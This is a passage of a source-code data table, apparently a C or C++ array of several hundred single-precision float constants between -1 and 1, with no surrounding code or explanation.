-0.811267727922649f, -0.585019862511894f, 0.125465493193590f, 0.203160759437510f, -0.101322607820275f, 0.543784310894398f, 0.630139383695983f, 0.775322422120693f, 0.229262447827729f, -0.656821799421711f, 0.795940998463793f, 0.263281283116320f, -0.377237794697631f, -0.714267543277316f, -0.161924029976839f, 0.804294011825499f, -0.500488029613262f, 0.716655543045374f, -0.709565530287520f, -0.260746944768714f, -0.496886497176178f, -0.896154699339640f, -0.891352204187934f, 0.0589172685048254f, -0.952496908556348f, -0.543314015084183f, 0.0724005345282401f, -0.132089156895576f, 0.694937364018361f, -0.884509342587775f, -0.944587795707932f, 0.346949362800262f, -0.587900264454839f, 0.531217960795664f, 0.404240620498887f, 0.182769547944683f, 0.804826966991636f, 0.601398794220406f, -0.767933817870427f, -0.329693990599177f, -0.880648189418561f, 0.0370834298504716f, -0.405270662847564f, -0.551993194163015f, 0.357335885219159f, -0.442910616174561f, -0.978355051725551f, -0.638907517841606f, 0.266841057307734f, 0.778698832906031f, -0.967180516636130f, -0.772940622039654f, -0.268706136695081f, -0.326082261974967f, 0.0386785617389067f, 0.576293286973562f, 0.446884000380730f, 0.396703264915684f, -0.718633572608705f, 0.586041202195072f, -0.791039546767268f, 0.556638124682382,
0.728711593864679f, -0.576551104247230f, 0.690227524206044f, 0.0451432373341216f, -0.0569690667958747f, 0.877674150343795f, -0.268602876493051f, -0.770720641807978f, 0.630269600593677f, 0.801702094819180f, 0.177071915997341f, -0.0764831522886398f, -0.476930347674815f, 0.0196833210809626f, -0.566188434097295f, 0.309890567123613f, -0.642682312350471f, -0.645839718540077f, -0.985031719881713f, 0.153028235575708f, -0.446724738384881f, -0.616280949001367f, -0.306418078463084f, 0.313048512921978f, 0.944732667717825f, -0.292311689238647f, 0.263616032352334f, 0.776777395064071f, -0.529182830991988f, -0.418996105801001f, 0.286960890623362f, 0.588336822287104f, 0.268219370126612f, -0.696727535489037f, 0.806089151192541f, 0.0396168299208206f, -0.613570658239778f, 0.358002315998429f, -0.0576147175733950f, -0.859664908314368f, 0.930793190364908f, -0.108955403960031f, 0.640347446939098f, 0.0301817512477458f, 0.508435547839785f, -0.774928250619894f, 0.254548271045827f, -0.192551571812315f, -0.401867317012389f, -0.136220787532581f, -0.480363308055205f, 0.146599399729624f, 0.225767301672040f, -0.207158678688912f, 0.763491487133281f, 0.161192803873192f, -0.574968151683314f, -0.454043408746924f, 0.427131132989065f, 0.170648543751820f, 0.0690597676805780f, 0.0360172652133248f, -0.244429817416531f, -0.973014074152018f, -0.172642279134011f, -0.798684796670922f, -0.622626145444778f, -0.743408670602069f, -0.316057396003030f, 0.908608689971065f, 0.948356574904685f, 0.573858539226522f, 0.457065605245418f, -0.246203048690671f, -0.750525340546383f, 0.612971646035183f, 0.951528788403619f, -0.529776510809815f, 0.0886901849846271f, -0.0254136796699882f, 0.978897595553096f, 0.293893753097695f, 0.620217642132267f, 0.862352989549627f, -0.379040515436326f, 0.790157871471479f, 0.147151952442201f, 0.688271487774812f, -0.897847532497188f, -0.0355337105008888f, -0.850253422176695f, -0.0354384862653523f, -0.625796807949394f, 0.851730076897135f, 0.294773618291289f, 0.834287219330433f, 0.0758749738551283f, 0.912613321307355f, -0.326698079590551f, -0.844748577890143f, -0.685263599922107f, -0.197029963909655f, 0.591416614029013f, -0.130921826828109f, -0.524292687689084f, 0.356220524225632f, -0.150091552835503f, -0.935232109847821f, -0.302103008478127f, -0.998557516519010f, -0.477012685701094f, -0.882343341754284f, 0.210797034143964f, -0.963566378978947f, -0.855600913755685f, -0.790231379847513f, -0.625235937382084f, 0.106405105589857f, -0.760544427202586f, 0.0103124858505332f, -0.610157345750845f, 0.968354521575116f, 0.602472069136318f, -0.216458111191680f, 0.935180184275450f, -0.369261245032360f, -0.289325139062185f, -0.772389696964545f, -0.345513639348744f, 0.135539262008296f, -0.747409495863324f, -0.849724942811800f, -0.739393030129744f, -0.0301380087411172f, 0.373808817820448f, 0.760444548005323f, -0.365739960428504f, 0.121859476627292f, -0.719257541809299f, -0.136914676340304f, -0.178479405732130f, -0.336676444507223f, -0.795056125367297f, -0.0872862684496700f, -0.950510559362909f, -0.395266512078238f, 0.636773305385949f, -0.150667208767723f, 0.534401287220298f, -0.349371424663528f, -0.784729313810243f, -0.0510904599006878f, -0.938702345462904f, 0.616929636007953f, -0.228578318449040f, 0.239101663221907f, 0.0390879233281141f, -0.294705782740043f, -0.847928516841798f, -0.0480433695823821f, 0.487351505367245f, -0.820736333448301f, 0.128692585024021f, -0.305133215914817f, 0.344900079505924f, -0.764316168982242f, 0.717529584295197f, 0.655848670831377f, 0.479849611138232f, -0.107624564628078f, -0.345816374073252f, 0.0822414215758816f, -0.0120870567528208f, 0.475870901669481f, -0.00594923432583361f, 0.869227669945672f, -0.262862047504512f, 0.272430399676396f, -0.734262318791166f, 0.980593493214018f, 0.110413869658192f, -0.732486564250777f, 0.470756873196238f, 0.897133387901917f, -0.151953973158384f, -0.591296220619271f, -0.113167158942796f, -0.103020520738423f, 0.220384226627647f, -0.0570027879342681f, 0.0923157145066511f, -0.523010309215342f, 0.385053964060568f, -0.223938668105458f, -0.0566497019068211f, 0.636390081595965f, -0.753651530578004f, -0.765450358896516f, 0.790370075460245f, 0.622949415286967f, -0.0947634056426396f, 0.122381201893998f, -0.138573523511105f, -0.544298107235542f, 0.535416341314523f, -0.341107295330707f, 0.266262786345860f, 0.620108481133049f, 0.190424987800150f, 0.978559599202704f, -0.925772919482004f, -0.300038300695816f, 0.963372836978511f, -0.501235224357981f, 0.828375446308031f, -0.595716120481773f, -0.889271354193173f, -0.389843123593065f, 0.659433696092409f, -0.633476165557619f, -0.708607689555741f, -0.737738480460783f, 0.985245299432648f, 0.976853985813928f, -0.863072444190232f, -0.785830171723126f, 0.309433061520758f, 0.166813366328975f, -0.552916412621405f, 0.0385101740167735f, 0.445866961855263f, 0.222557362424800f, 0.0710515871571971f, -0.368563489700928f, 0.317406114361191f, 0.326902000037272f, 0.868261309598320f, -0.897838476369198f, 0.664364291232529f, -0.373333343843574f, -0.599809263387549f, -0.411236387818613f, -0.118186587264933f, 0.544960929851182f, 0.395925813072269f, 0.337332244255533f, -0.0195528742963547f, -0.580383437020279f, 0.0779554182143842f, -0.902635825594202f, -0.821554429188969f, 0.869996816042779f, 0.646142135585380f, -0.0824693320525758f, 0.643317857725100f, -0.903892480205129f, -0.457595546004975f, 0.540461917564665f, -0.467530238695992f, 0.107497588388074f, -0.122360487746121f, -0.276968072230331f, -0.436413500733568f, 0.0719555518906898f, -0.794937479672675f, -0.641344733876686f, -0.934734152781945f, -0.0610463967348016f, -0.302623058375597f, 0.281116298309257f, 0.557459622053789f, -0.350054779110337f, 0.681853624031498f, -0.0454067482892435f, -0.897204174835461f, 0.0289327275291300f, 0.664312739864751f, -0.368814604980581f, -0.576946854776660f, -0.187886132141311f, 0.424385580259236f, 0.257994303715228f, -0.567650112011742f, -0.0453371545575014f, -0.362909825264387f, 0.450095578912812f, -0.713870209574945f, -0.956583539581944f, -0.969891699048729f, -0.417755773448598f, -0.230738535348142f, -0.153353095644968f, 0.539368458440622f, 0.591116036659417f, 0.779095541288385f, -0.578525766017613f, -0.587777137316663f, -0.301051260910212f, -0.319655538885669f, -0.343495369437935f, 0.908167583226333f, 0.764220052027033f, 0.0536418758245909f, -0.0529753241803754f, 0.249066042857931f, -0.840152142252005f, -0.529971459254312f, -0.449462194610696f, 0.467144819001113f, -0.500103828192601f, -0.758390449663076f, 0.369740436821770f, 0.189153926151852f, -0.188283227959439f, -0.427563759945909f, -0.186773725840825f, -0.00989853573399446f, -0.783648829817413f, -0.626450875837851f, -0.328015817185970f, 0.760383401930071f, -0.00804531008117837f, -0.982799468341000f, 0.392730506677802f, 0.117799138097530f, 0.351088974844522f, -0.259750164530173f, 0.776495358243216f, -0.703059519879109f, -0.362866233240751f, -0.421345310205860f, -0.818968876330675f, 0.936887497269786f, 0.713300632813635f, 0.916608801523944f, -0.147818975792564f, 0.317064988534009f, 0.885779227314381f, -0.897706599297367f, 0.685423132064732f, 0.907830438936990f, 0.0636614655685575f, -0.423018627861747f, 0.411565657893159f, 0.911060408474647f, -0.617833142759668f, -0.709543522964145f, -0.817633731247023f, -0.252433983274424f, 0.160456393103956f, -0.160765428576997f, -0.622001061437904f, -0.470257555319641f, 0.790643274059634f, -0.648181378655916f, -0.828694900506363f, -0.0234091767546987f, -0.562865077760768f, 0.369299949506391f, -0.423850142805423f, 0.520699811923658f, -0.877662359466779f, -0.739844704434180f, 0.300520939787139f, 0.0655718600121620f, 0.970843358712180f, -0.634231195336845f, 0.324880041395596f, -0.479089635857354f, -0.196422753715449f, 0.568762754402869f, 0.699215376070842f, 0.445741923102597f, 0.679868900756090f, 0.107609859752086f, -0.980983474461865f, -0.788419140653730f, 0.0696289436185713f, 0.00330944186568516f, 0.392265626672398f, 0.803469542460994f, 0.131029913648810f, -0.845408454497170f, -0.754797811352229f, -0.824208086798235f, 0.510072775586974f, -0.809491727769575f, -0.0228491196350333f, 0.920014947791232f, 0.441066319826495f, 0.969846842038360f, -0.199024726691046f, 0.886564290041856f, 0.203997575245743f, 0.481547443573126f, -0.637742489331117f, 0.0664642070998316f, 0.109187062068770f, -0.952676759642045f, 0.309247049771982f, 0.880534651306060f, -0.269363005485603f, 0.280012695899358f, 0.853031642671923f, -0.216236966392235f, 0.903180305900435f, 0.837949615815047f, 0.748563816043584f, 0.266735542018788f, -0.685176037557414f, 0.505893787666761f, 0.977721983069541f, -0.667151469253569f, -0.451774081267849f, -0.385755850727233f, 0.681037251596535f, 0.550130384863457f, 0.704080312734731f, 0.519624533199220f, 0.789651392050294f, 0.176325856625025f, 0.684011432098839f, -0.469125761119035f, -0.841814129063957f, -0.901473334652527f, -0.117747872709914f, -0.608533033968273f, 0.199709646080986f, -0.349430401438670f, -0.435162733168206f, -0.368150014673779f, 0.699084004342174f, -0.446068942643995f, 0.197420740774886f, 0.524893584115327f, 0.706475758890142f, 0.912020785879679f, -0.820472223153770f, -0.334742316079635f, -0.851724976994477f, -0.702164662784812f, -0.649654462810552f, 0.411435475616403f, -0.0438368033650360f, 0.799231452421757f, 0.713371883779316f, 0.252437083518609f, -0.685658163265283f, 0.0734649179831324f, -0.400549431226783f, -0.415602545578540f, 0.233864615718965f, 0.828846528739923f, 0.606577491175688f, -0.266016048272811f, -0.619106744484090f, -0.690853262778644f, -0.503499724631377f, -0.409761822901473f, 0.0576293548519007f, 0.551582021066584f, 0.132631452787255f, -0.838228405334512f, -0.107475742619267f, -0.875306852866273f, -0.184700469068763f, -0.317074087896838f, -0.580912620700556f, 0.453916157844897f, 0.690470988649940f, 0.712835197480083f, 0.314786689622726f, 0.759835688452120f, -0.671090442836235f, -0.408277610289776f, -0.815988422173708f, 0.227854929660384f, -0.0482646895577266f, 0.968141192561708f, 0.373896367655818f, 0.820435826598941f, 0.817746838197885f, -0.0970819110331989f, 0.679170154451559f, -0.577986561676471f, -0.0523570914231941f, -0.776930151133931f, -0.560456597170701f, 0.927747720961181f, 0.0350177837302503f, 0.844938034137843f, 0.00849044473190053f, 0.325089161670337f, -0.851825175889265f, 0.835251667623832f, -0.266397917890485f, 0.108463887056499f, -0.817868888235156f, 0.590399913800720f, 0.699274619715208,
0.200782223352391f, -0.936155874445214f, 0.218471971175575f, -0.890402779861849f, 0.268496441855317f, 0.881231954583528f, 0.279360358017994f, -0.492400368838405f, -0.894376670076375f, 0.585129064098519f, 0.340135248071744f, 0.455880107692993f, -0.861081993524584f, -0.303321115935151f, -0.562781799622214f, -0.526041750296426f, 0.999581943964160f, 0.249814139040315f, -0.0537475603822974f, -0.845239239849439f, -0.874024176808607f, 0.997751771128387f, -0.861617607547820f, 0.671357923629889f, -0.687974310115279f, -0.969462039056016f, -0.448304961870341f, 0.713064428261850f, -0.00718668165564318f, -0.450608596544700f, -0.106059234376561f, -0.591961308554238f, 0.588633089685867f, -0.755341317752403f, -0.542715401462936f, 0.759199260356047f, 0.0297710796506234f, -0.997343196630657f, 0.574076752994254f, -0.696719940193256f, -0.852227517176613f, 0.906332566627663f, -0.171801252847090f, -0.925131151948528f, -0.0212194634560026f, -0.940316444070044f, 0.262965279952363f, 0.902198615594563f, -0.265057066430189f, 0.161983092277652f, 0.0181345459457500f, 0.467973650469608f, 0.857351800575040f, -0.889882538061811f, 0.728868283859490f, 0.671187732362764f, -0.296882575397444f, -0.793099233276668f, 0.335561922676737f, 0.0671874495572633f, -0.0857142329385701f, -0.352870876674233f, -0.119927139078065f, 0.814127111105761f, -0.323910302649634f, -0.313495077982818f, 0.0690526899468447f, 0.877155536890319f, 0.768040884649443f, 0.158910636324140f, -0.824414709871474f, 0.00718921022841235f, -0.868917281154898f, -0.564967532196669f, 0.206261416621150f, -0.0699574404456100f, -0.0547095858591442f, 0.811674902353136f, -0.562993920383635f, 0.441212008804309f, 0.917951119557396f, 0.915571961092301f, 0.0901952529553498f, 0.614118141118295f, 0.760473529905706f, -0.566505475760865f, 0.00880029006400429f, 0.975626259597421f, 0.370738159620831f, -0.0242162976348563f, 0.828887690189252f, -0.665240810020082f, 0.00123256686221063f, 0.184020074202841f, 0.829917510366750f, -0.447854906466885f, 0.529356328938248f, -0.995192699858126f, -0.843748622724646f, -0.422765372440245f, -0.386179414096638f, 0.206325400140261f, -0.369817591904938f, 0.266933785902425f, 0.892617584642659f, 0.740018647415220f, -0.481907279471296f, 0.248268418729551f, -0.382770749117505f, 0.974424303757207f, -0.879320252286332f, -0.0294961755317245f, 0.638693329623790f, -0.765127178629299f, -0.160881380476610f, -0.725001019123526f, 0.00294709357263234f, -0.701949969294570f, -0.708933381768328f, -0.463893635537772f, 0.476650147791524f, -0.206043208566879f, 0.223011684523516f, -0.258637160422673f, 0.206325908651728f, -0.432336904344548f, 0.921979975841259f, -0.944396630315761f, -0.00680582426415510f, 0.319263487872783f, -0.836389324192867f, 0.111532890274445f, -0.938142383682239f, -0.637288670131655f, -0.834211558255576f, 0.251969378874330f, -0.970874587083192f, 0.831662411079802f, -0.446568187924869f, -0.659109068071113f, -0.877869176622375f, -0.890670252448197f, 0.477602927742628f, 0.324737705007923f, -0.147513413112549f, -0.186594638422632f, -0.282864808082840f, 0.745093922271927f, 0.915500859154332f, 0.0421588655873384f, -0.483320910754088f, 0.00503734690385604f, 0.555792895688253f, 0.129412601050279f, -0.229347983583150f, -0.680101211823600f, -0.866063899229274f, 0.437769924839021f, 0.133958234316391f, 0.589233411145099f, -0.498053917701437f, 0.180863681584405f, 0.525955777469479f, -0.581250985307273f, -0.327934857804250f, 0.482381204171926f, -0.867703472610278f, 0.833733008515087f, -0.607761820334944f, -0.758512235503178f, 0.0380785706067470f, 0.719862150842292f, 0.651283470517919f, -0.614218162858801f, -0.239754124815405f, -0.733992057859951f, -0.422541764223845f, 0.951215428883086f, 0.882569470276544f, 0.937054481646402f, 0.184532408731968f, -0.104097666585483f, 0.693277433170057f, 0.800241936558839f, -0.998230532922071f, 0.259835639125661f, 0.562745639592536f, 0.220441127510705f, 0.313735993201991f, 0.330940415696351f, -0.602872424656300f, 0.841677792852844f, 0.749701489563795f, 0.266727039860087f, 0.696379094133993f, -0.430719144952456f, -0.276768289732264f, -0.0872580230244173f, -0.722033206227688f, -0.837309584159114f, -0.629739366225350f, -0.185692585028452f, -0.110619837317415f, 0.515881116042359f, -0.105875685978079f, -0.513700186568578f, 0.961245417898430f, 0.655513716233953f, -0.0921704793645632f, -0.694925472850399f, -0.872174817305748f, 0.0307133806779607f, 0.531120672076921f, 0.965271277398122f, -0.00974420246777163f, -0.497322783064087f, 0.693565685926388f, 0.546918707342947f, -0.230039497490898f, -0.316024461029338f, 0.684231559582941f, -0.306362794944468f, 0.861366189035942f, 0.378922635334764f, 0.259443877770437f, -0.838617128408830f, -0.205350631644011f, -0.139772960377519f, -0.192918167939180f, 0.602404904043886f, -0.537407583974730f, -0.877007125624351f, 0.361539942609439f, -0.732030207831016f, -0.488792995226420f, 0.612591017966442f, 0.567185560938756f, 0.195543595335781f, -0.428955670554558f, -0.666590144318038f, -0.702467396810860f, -0.894350832807439f, -0.0620405855731709f, -0.583114546325259f, -0.482155957064968f, 0.212152442925647f, 0.112603107288251f, 0.0683986906619714f, 0.639176340917929f, 0.642610005510521f, -0.708605273163374f, 0.739594669131005f, -0.492786220480274f, -0.308196102291547f, 0.918748221553053f, 0.186736140989674f, 0.438437026242591f, 0.638769573344929f, 0.928896220524135f, 0.579945520523175f, 0.218608554904045f, -0.526070140579576f, -0.140303420071590f, 0.304347769360423f, 0.488123173638490f, 0.987207018313181f, -0.536397951752998f, -0.553296120219359f, 0.184294880372153f, -0.101502970339396f, 0.287041514309517f, 0.658172721877726f, -0.270141883431914f, -0.0196021946303913f, 0.000779126872975988f, -0.0500294515684538f, -0.588505226599557f, 0.550916571982769f, 0.703271386531766f, 0.982335628009701f, 0.942133544852489f, 0.690741953320684f, 0.0466423349204477f, -0.941178278727504f, 0.121655023640973f, 0.777925151322362f, 0.132430336075323f, -0.114812120408198f, -0.694094073965245f, -0.441397675924967f, -0.187253074701348f, -0.672248118097589f, -0.688869123609503f, -0.0723581859661586f, 0.553779536791160f, 0.380610143087564f, -0.392032089052147f, -0.709403552653908f, -0.607184251637473f, 0.698227587629545f, -0.272885954851784f, 0.0736609147840435f, 0.687106303730018f, -0.230362931709251f, 0.393640839382244f, -0.846905732907407f, 0.0727598538725249f, -0.0119849190815611f, 0.470122652313157f, -0.171681529301612f, -0.329268850654460f, -0.433013841687086f, -0.943499527192280f, -0.123404693276305f, -0.0861435714812342f, -0.228816973160929f, 0.0531549757963279f, 0.901446101051298f, 0.470738280922993f, 0.238383552115632f, 0.292841887198914f, -0.617423653544601f, -0.865786115828523f, 0.586332203179351f, 0.267618252846898f, 0.888575002575769f, -0.0220649407038027f, -0.946385428026066f, 0.317436113017866f, -0.277195072909682f, -0.207326502081016f, 0.735387675940421f, 0.961386190882120f, -0.564038045970629f, 0.840007249305217f, -0.262593952346269f, -0.556378761937190f, -0.346529850864238f, 0.00895460576800877f, -0.695431082536551f, -0.105261635693881f, -0.658342101938401f, -0.631093613961188f, 0.601639903111316f, 0.886830692209879f, -0.600591324826329f, -0.350296019796741f, 0.294348102011741f, 0.555826495708193f, 0.216370653207427f, -0.672654026881445f, -0.572202359802723f, 0.202776438466314f, -0.490708964058038f, 0.0148723360197853f, -0.799031226692943f, -0.221164759306209f, 0.0323674121757880f, -0.130290693568615f, 0.613592603765503f, 0.372755498065474f, -0.540502917956863f, -0.740021877141017f, 0.652888612951242f, -0.666157898478327f, 0.476156241264794f, -0.632081251666311f, -0.538341981270842f, -0.275717185193560f, 0.332983363477103f, -0.989659450166330f, 0.212868816589688f, -0.238985653168422f, -0.453005976359810f, -0.805975530848911f, -0.948192632970312f, -0.291329963979224f, 0.549811667826684f, 0.291147979443248f, 0.909805561757383f, 0.0728533843443158f, 0.737767652888933f, 0.605331616290165f, 0.274826946403577f, 0.710517586349601f, 0.666670055891909f, 0.522059053677516f, -0.553398792071804f, -0.406610321679562f, -0.893232547853708f, 0.549587730399741f, 0.714498083720551f, 0.281833380830291f, 0.652788061587949f, 0.825163748516741f, 0.381299333971584f, -0.485549061474930f, -0.881961689917888f, 0.308937809723222f, -0.524542880617761f, 0.329114405956449f, 0.434631551667457f, -0.894732322264538f, -0.831528385961058f, 0.669760583803638f, -0.674650675537928f, -0.373119878846435f, 0.456602566684508f, 0.387804792569985f, -0.556983911869482f, 0.000826745899317194f, 0.687973801099889f, 0.0471935422816141f, 0.0768302380434509f, 0.317557055919800f, -0.823316513699125f, 0.394699119350099f, 0.609556161256400f, -0.0413041171293194f, -0.244100882405517f, -0.939678976894569f, 0.403390183804743f, -0.933567523933859f, -0.331149894636631f, -0.0265881324103010f, 0.224249195386459f, 0.888271870759308f, -0.119845268644579f, -0.357275416804345f, -0.597001288429956f, -0.486847206619720f, -0.181232488650601f, 0.115441291842326f, -0.599055795186955f, 0.213179364205327f, -0.205238322081458f, -0.373942142629613f, -0.610680997090469f, -0.495737765362772f, -0.257634306994249f, 0.583708320566486f, -0.372047136603982f, 0.953878668619925f, -0.632595987923462f, 0.452049761997455f, 0.166602807787896f, 0.773555002555059f, -0.277154387560832f, -0.557129156714301f, -0.985242402457283f, -0.441173064787937f, 0.561221765682284f, -0.352004972295446f, 0.970292440826449f, 0.855523836321424f, -0.528113079339624f, 0.685454746939680f, 0.322200261898966f, 0.953249967336372f, 0.825673980624808f, 0.177229970128320f, -0.728281956776614f, -0.479030792350269f, -0.00697019557862144f, 0.851652517094715f, 0.853865750362844f, 0.514736989335681f, -0.943509205199198f, -0.0524009027225623f, -0.0798997671509367f, -0.355414349557791f, -0.366273957594958f, -0.565729285138989f, -0.931573923976439f, 0.345119269147864f, 0.638375370217726f, 0.711524360229150f, 0.331664704859388f, -0.986788646426241f, 0.521200596781614f, 0.656290865944842f, -0.436907564088290f, 0.305075696150381f, -0.848337345127939f, 0.354044695448027f, 0.690691708552038f, 0.900352213238582f, 0.475181192463882f, 0.219103309687964f, 0.885437995493547f, 0.421455288320496f, -0.879874221804522f, 0.893371290952196f, -0.545214090169942f, 0.800731783168682f, 0.249421864783476f, 0.0766192343033301f, -0.745747520609971f, -0.613575150364454f, -0.700199720327423,
0.0694373671332735f, 0.759953164582251f, -0.0973030480378387f, -0.298615297250225f, 0.0176506580013247f, -0.269562553201540f, -0.405489169051539f, -0.00491991297033256f, -0.0327449030548885f, -0.688168836745951f, 0.703014457338754f, -0.0909491575673764f, 0.738417882180070f, 0.202377973915515f, 0.338436193625848f, -0.408790267504483f, 0.611776208408261f, -0.711043784659083f, 0.841495665411188f, -0.0445715899008592f, -0.127281559164749f, -0.778797832908623f, 0.210344625249896f, 0.287086540530447f, -0.703702357088620f, -0.151146112491418f, -0.785180444786487f, 0.427963227387140f, 0.873814130606035f, -0.344356753075357f, -0.755726746591465f, 0.846013365191461f, 0.126678120904524f, 0.166687962199295f, -0.148273386834835f, -0.770559345875477f, -0.999129219024862f, -0.223692721084046f, -0.652712854614213f, 0.468054498362978f, -0.911782175948953f, 0.555084850374905f, 0.103972972463380f, -0.414021910330282f, 0.938793897617340f, 0.515461292224815f, -0.127677414947037f, 0.510661477088580f, 0.898409443447962f, 0.528096097102698f, -0.444620870908750f, -0.275909952832928f, -0.516074838791812f, 0.110104492330694f, -0.293114842926621f, -0.596621371059734f, 0.152807456749103f, -0.592864305196648f, 0.948295231208874f, -0.575278847840010f, -0.312463646261757f, 0.664597237604897f, -0.177619554099550f, -0.932259652303036f, -0.295074750863924f, 0.731539128777660f, 0.860409131570119f, -0.0947206503071862f, 0.106073387018718f, -0.235389180430490f, -0.494787189603633f, -0.536357147973158f, -0.680862001049455f, 0.618979489665256f, 0.613893487415732f, -0.308605775713246f, 0.694789556987429f, -0.440049894326668f, 0.908690328690240f, 0.233612239829512f, -0.190662564463532f, -0.344799878911344f, -0.185877286582818f, -0.553543917790750f, -0.859543533414720f, -0.996044831818542f, 0.0388505104043095f, 0.650508591477642f, -0.425233346101631f, -0.576839967180874f, 0.378730359294024f, 0.531713629917424f, 0.506096660522796f, 0.854779196325727f, 0.725302682547051f, -0.414685510902716f, 0.654208477287561f, 0.580368151427426f, -0.000356066597174687f, -0.897393734991154f, -0.845565244312410f, 0.615044057364182f, 0.0434592638759266f, 0.342119048500289f, -0.696414680186901f, -0.713269554140146f, -0.580866925323696f, -0.290886355957456f, -0.473082507703548f, 0.517942229000179f, -0.846159512055215f, -0.715410253368047f, -0.526272663742330f, 0.114004124940380f, -0.207397773975621f, -0.920379649009572f, -0.277970833475531f, -0.636533427057722f, -0.972531734576472f, -0.687000156900366f, 0.872752357637196f, 0.617872391924648f, -0.835274231587444f, -0.383282792481497f, 0.399233665040770f, -0.191230601890140f, 0.620222785371960f, 0.106379326744619f, 0.987222511696630f, 0.219022023664391f, 0.179689082166371f, -0.961619514581522f, 0.570178582343486f, -0.811091514477978f, 0.924484469376845f, 0.744507591138529f, 0.272936430096096f, 0.0646316580619510f, 0.314005111302676f, 0.558833629327024f, -0.329744916784918f, -0.544045568909541f, 0.895769679770795f, 0.798125821580789f, 0.877473384028199f, 0.616163339432501f, 0.441057381106904f, -0.642498173762053f, 0.989059595616979f, -0.374771110304453f, 0.480877593471524f, 0.904941689893360f, 0.428742160807762f, -0.430483645585549f, 0.0830560957640680f, 0.694220841170708f, -0.602964792788891f, -0.522672782287498f, 0.717494777479591f, -0.918002255923909f, -0.454075191574169f, -0.378662039464110f, 0.221482629450150f, 0.750918040362614f, -0.636211037178780f, -0.254529141198887f, -0.944623201010144f, -0.720775773991847f, -0.674641067104323f, -0.208243950413264f, -0.959488786545901f, -0.619966503980330f, 0.599486634018692f, -0.0955439064236721f, -0.458181000169795f, 0.736914498713083f, -0.176789993854223f, 0.676652697410790f, -0.967275583857650f, 0.319377813603719f, -0.427030468653864f, 0.0670640089595258f, 0.769945699222976f, 0.767923203047440f, 0.985790354694142f, -0.207111795449682f, 0.219134401666738f, 0.548513609112215f, 0.977227384558063f, -0.198131173309759f, 0.914163808432723f, 0.178214485462450f, -0.240590252223318f, 0.356128697574950f, 0.453093488702627f, -0.0401152114159198f, 0.818060948361957f, -0.880551400213416f, 0.631519794065582f, 0.658832307703964f, -0.179752451562622f, -0.237844011105596f, 0.739834592198990f, 0.711355594921083f, 0.774856912009109f, 0.321864249971600f, 0.470574585274056f, 0.261964793641569f, -0.634481134262705f, 0.461363065389595f, 0.0879014163867016f, 0.698353456328335f, 0.0611830044908546f, 0.918599000791453f, -0.147822590771951f, -0.208296009525534f, 0.775436805889909f, 0.0380914463017457f, -0.954468558268744f, -0.620451283908529f, -0.770251739379244f, 0.772246778681563f, 0.326462458587915f, 0.417738473564738f, 0.0942643452092895f, 0.486153909005530f, -0.720202618855819f, 0.0172425211828453f, -0.460430186764708f, -0.582933725313246f, -0.439721219285309f, -0.694337374508112f, 0.493516461453915f, -0.993527345413430f, -0.562763570629586f, -0.0644937992008268f, 0.741476357523546f, -0.668588797988340f, 0.594184164979780f, -0.605220767543645f, 0.110074204567278f, -0.599398769115359f, 0.723882026196765f, 0.678747828159456f, -0.608589528492249f, -0.881419419882399f, -0.139357674240927f, 0.873828011683502f, 0.314798068434754f, -0.457017849147976f, -0.526003289738433f, -0.411404919696823f, -0.792254466556923f, -0.299635866135236f, 0.0102316480137963f, 0.161921266554201f, 0.981427028530907f, -0.647351555346480f, -0.183312260273700f, -0.348651484808239f, -0.198142718294920f, 0.589869434168343f, -0.201926511662287f, 0.0337896878721506f, -0.0276515055864679f, 0.236943449722327f, -0.473103622922213f, 0.954358213176107f, -0.536519478008862f, -0.603363977756898f, 0.776267386457251f, 0.780662223932714f, 0.289187291033147f, -0.439954328280331f, 0.0429585232791456f, 0.457321950803212f, 0.236810565417317f, 0.167393310927116f, 0.634521586990289f, 0.154409349572581f, -0.750588956901316f, 0.862647670558265f, 0.800182258889404f, -0.342011510602950f, -0.102697321575297f, -0.797254530582515f, -0.718599505627591f, -0.729105921762328f, -0.152424255231618f, -0.702781451563249f, -0.0212710413372206f, 0.961258625954530f, -0.598484979483616f, 0.188043416567111f, -0.511990501189325f, -0.437449883017104f, -0.352443017251219f, 0.0991554004559394f, -0.663282401319921f, -0.835139403797870f, 0.587602722898819f, -0.939771062270554f, 0.613878515061637f, -0.523857415147229f, 0.444842501987166f, -0.297001528475358f, -0.914581150341453f, 0.554844832376064f, -0.816400014706997f, 0.823726509832068f, 0.704425080572720f, -0.819397910034912f, 0.999003444973468f, -0.968751535943602f, 0.0311500939174130f, 0.247867291448898f, 0.835560943875924f, 0.169794916341582f, -0.302041142019408f, 0.289549413666482f, 0.672141268085176f, 0.947060095876251f, 0.324754171403184f, 0.800014020753458f, -0.785428883146460f, -0.463092135879982f, 0.659192831110219f, 0.118301326248760f, -0.542297334341874f, -0.335957421787428f, 0.794808066256455f, 0.625133567458879f, 0.227917183877260f, 0.533557157748932f, -0.948877884679630f, 0.186417887458649f, 0.859592912781013f, -0.0183320237921572f, 0.967066787435574f, -0.141349529637213f, 0.958107445094614f, 0.264359167622140f, -0.631325355674829f, 0.684598042547604f, -0.527467468151933f, 0.294659298854560f, -0.439220168509424f, 0.391038218778621f, 0.0155669207052447f, -0.681384294454809f, 0.146739459198561f, -0.756404876084652f, 0.381192113543008f, 0.442850940158445f, 0.964002016096921f, -0.0507253848694798f, 0.563462880019551f, 0.190980650425415f, 0.482598778123453f, -0.273426091300166f, 0.980640722167518f, 0.198298590133615f, 0.678100193958147f, 0.530416610025615f, 0.196483886579908f, -0.00515783872303177f, 0.0273438459465027f, -0.257248394117661f, -0.576964504105195f, -0.331030677719652f, 0.389178134459083f, 0.0714066784585938f, 0.915179137858455f, 0.529738860096996f, -0.0851681338619263f, -0.692212896293625f, 0.0786352959300358f, -0.122712774017974f, -0.154641019547052f, -0.487537192251297f, 0.0435645872670241f, 0.856938631597551f, 0.351874085305670f, 0.708100804109985f, -0.701200509799317f, 0.0804479422214388f, -0.0794375302823220f, 0.543751723132725f, 0.346144383452864f, -0.680373368944156f, -0.572281173045994f, 0.237981706511708f, 0.0671482960376590f, 0.852393956008547f, -0.301262907769845f, 0.523762878044853f, 0.0885512158718469f, 0.885168455552951f, -0.333351382431635f, -0.914187358461713f, 0.657220242471575f, 0.202238670865175f, -0.660684692864216f, 0.641271628674064f, 0.795923699912913f, -0.332641448887164f, -0.297595219329770f, 0.427283618553541f, 0.601893958036382f, 0.355248259075043f, -0.420766820174961f, 0.355159952778514f, -0.806733697216087f, -0.694403711049608f, -0.719250654428532f, 0.580487742419744f, 0.959156165420351f, -0.941898541689400f, 0.960568821753178f, 0.119007749103819f, -0.973468502734443f, -0.627534816021182f, 